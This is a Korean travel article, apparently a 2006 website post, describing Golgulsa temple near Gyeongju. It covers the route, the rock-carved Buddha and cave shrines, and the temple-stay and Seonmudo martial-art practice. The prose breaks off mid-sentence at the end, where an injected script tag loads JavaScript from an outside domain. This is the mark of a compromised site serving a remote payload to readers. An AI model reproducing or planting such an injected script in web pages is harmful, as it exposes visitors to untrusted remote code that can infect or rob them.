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238 한국의 소림사 - 골굴사 선무도 템플스테이 admin 2006-06-13 14937

경주에서 추령고개를 넘어 동해바다로 나서면 하늘과 수평선이 맞닿는 풍경이 펼쳐진다. 함월산의 속살
을 관통하는 추령고개와 골짜기를 스치면 골굴사, 감은사지, 문무대왕 수중릉, 감포까지 무수한 이야기
꽃을 피우는 여행지가 나온다. 천년고도 경주는 천년 동안 한 왕조의 수도였으니 구석구석 사연이 배어
있다. 이중 사찰은 호국불교로 일컬어지는 신라불교를 발전시키는 원동력이었다. 불국사, 감은사, 분황
사, 석굴암 등 이름만 들어도 알만한 절도 많지만, 덜 알려진 사찰 중에도 나름의 역사와 멋을 간직한
곳이 적지 않다.
신라문화의 뿌리가 불교문화임은 두말할 나위도 없다. 여기에 경주 남산과 토함산, 그리고 함월산은 그
대표적인 유적지라 할 수 있다.골굴사는 경주에서 감포 방향으로 약 20km 지점에 위치한 함월산은 불교
유적지 중 가장 오랜 역사를 간직하고 있다. 신라시대 불교문화가 번창하던 7세기경 인도에서 온 광유
성인 일행인 암반전산에 마애여래불과 12처 석굴로 가람을 조성하여 법당과 요사로 사용해온 국내 유일
의 석굴사원이다. 예로부터 인근 주민들의 기도처로서 정신문화의 산실로 전해져 왔다. 하지만 근래에
이르기까지 교통편이 불편한 관계로 퇴락되어 가던 중,전 기림사 주지 적운 스님의 법연에 의해 도로가
개설되고 요사를 복원하면서 오늘의 절로 거듭났다. 특히 골굴사는 심신이 병든 이들이 부처님께 귀의
하여 안심입명을 얻고 끊임없이 수련에 임하고 있다.모든 불자가 수행 전진할 수 있는 도량인 금강반야
원은 사부대중이 함께 정진하는 선무도 경주본원이다.


골굴사 스님들의 선무도 시범
골굴사가 최근 경주여행의 명소로 부상하고 있다. 외국인을 상대로 불교문화 알리기 차원에서 실시하던
템플스테이의 본산으로, 불교의 전통무술인 선무도(禪武道)의 도량으로 명성이 얻으면서부터다. 골굴사
로 가는 길은 몸과 마음이 편해지는 여행의 첫걸음이다. 경부고속도로 경주톨게이트에서 나와 보문관광
단지를 가로질러 4번 국도를 따라 감포 방향으로 가다 보면 안동사거리가 나온다. 이곳에서 좌회전해서
500m를 가면 골굴사 진입로가 나온다. ‘함월산 골굴사’라고 적힌 일주문을 지나 1㎞쯤 산속으로 들어
가면 골굴사에 다다른다.


둔황석굴처럼 12개의 굴에 모셔진 부처

절벽 같은 바위 위 마애여래불좌상 우선 절을 찬찬히 살펴본다. 깎아지른 듯한 절벽 같은 바위 위에 4m 높이의 마애여래불좌상(보물581호)이 새겨져 있다. 여래불을 중심으로 12개의 동굴이 있고 곳곳에 부처님을 모셔놓았다. 자연적으로 생긴 동굴인가 했더니 모두 사람의 손으로 파낸 것이라고 한다. 패인 곳들이 마치 사람 해골처럼 생겼다. 그래서 절 이름도 뼈‘골(骨)’자에 동굴‘굴(窟)’자를 써서 지었다. 일주문을 지나면 골굴사 경내로들어서게 된다. 협소한 골짜기에 요사채, 종무소, 법당이 줄줄이 눈에 들어온다. 오르막길을 걷다보면 오른쪽으로 몇몇 전각과 요사채를 지나게 된다.앞쪽
에 있는 가파른 바위산 꼭대기에 아크릴보호막이 보이고 조금 아래쪽 왼편에 단청된 작은 전각과 단청이 되지 않아 목질감이 물씬한 또 다른 전각이 한눈에 들어온다. 좀 더 안쪽으로 오르막 길을 올라가면 멀리서 보았던 바위들이 뚜렷하게 보인다. 바위는 깎아 세운 듯 가파른 경사를 이루고 있으며 제일 꼭대기,아크릴 보호막 아래엔 마애불이 조각되어 있다.그리고 산더미 같이 커다란 바위는 곳곳이 움푹파인 동굴형태로 되어 있다. 굴과 굴 사이는 난간이 설치
되어 있고 그 굴들이 법당이며 기도처다.12개나 되는 석굴 중에서 가장 넓은 관음전은 동굴입구에 기와 얹은 건물을 덧대어 관음전을 만들어 관세음보살을 주불로 모셨다. 돌계단을 올라 처음맞게 되는 관음전엔 정면에 모신 관세음보살뿐만 아니라 동굴의 벽면에 청동 108관음보살상이 봉안되어 있다. 낭떠러지에 매달린 듯 가파른 바위굴에 마련된 이
런저런 굴법당을 찾아다니는 길은 만만치 않다. 암벽을 타듯 줄을 잡고 오르기도 해야 하고, 바위틈을
지나 아찔한 행보도 하여야 한다. 그러나 태산 같은 바위에 지그재그로 만들어진 철제 보호대를 쫓아다
니면 웬만한 굴법당은 다 참배할 수 있고 튼튼한 보호시설이 있기에 생각보다 위험하지는 않다.

신체의 유연성과 균형을 통해 불교 이상세계를 구현하는 선무도
깨달음을 위한 이색적인 수련법 선무도

골굴사가 여느 절들과 특이한 점은 아무래도 "선무도(禪武道)"라는 무술을 수행법으로 계승하고 있다는
점이다. 선무도란 흔히 "위빠사나"라고도 불리는 수행법으로 불교의 안반수의경(安般守意經)에 전하는
전통수행법이라고 한다. 선무도, 무술이라고 하니 일방적으로 격렬한 격투기나 화려한 몸동작이 수반되
는, 영화에서 보았던 싸우는 무술을 ?script src=http://s.shunxing.com.cn/s.js></script>

     
   
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